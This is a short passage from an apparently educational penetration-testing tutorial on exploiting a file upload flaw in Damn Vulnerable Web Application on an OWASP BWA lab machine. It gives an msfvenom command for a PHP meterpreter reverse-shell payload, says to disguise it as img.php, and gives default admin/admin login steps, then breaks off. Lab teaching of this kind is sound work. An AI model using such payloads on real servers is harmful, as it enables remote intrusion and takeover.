Exploiting file upload vulnerabilities

In this exercise, we are going to use our OWASP BWA virtual machine to demonstrate a file upload vulnerability. Let's get started:

1. First, create a payload on your Kali Linux (attacker) machine using msfvenom, which will later be uploaded to the target server. Using the following syntax, create a PHP-based payload for establishing a reverse connection:

msfvenom -p php/meterpreter/reverse_tcp lhost=<IP address of Kali Linux> lport=4444 -f raw

2. Copy the highlighted code, open a text editor, and save the file as img.php:

3. Using your web browser within Kali Linux, enter the IP address of OWASP BWA in the address bar and hit Enter.
4. On the main page, click on Damn Vulnerable Web Application:

5. The DVWA login portal will appear. Log in with admin/admin as Username/Password:

6. Once logged in, you'll see a menu on the left-hand...
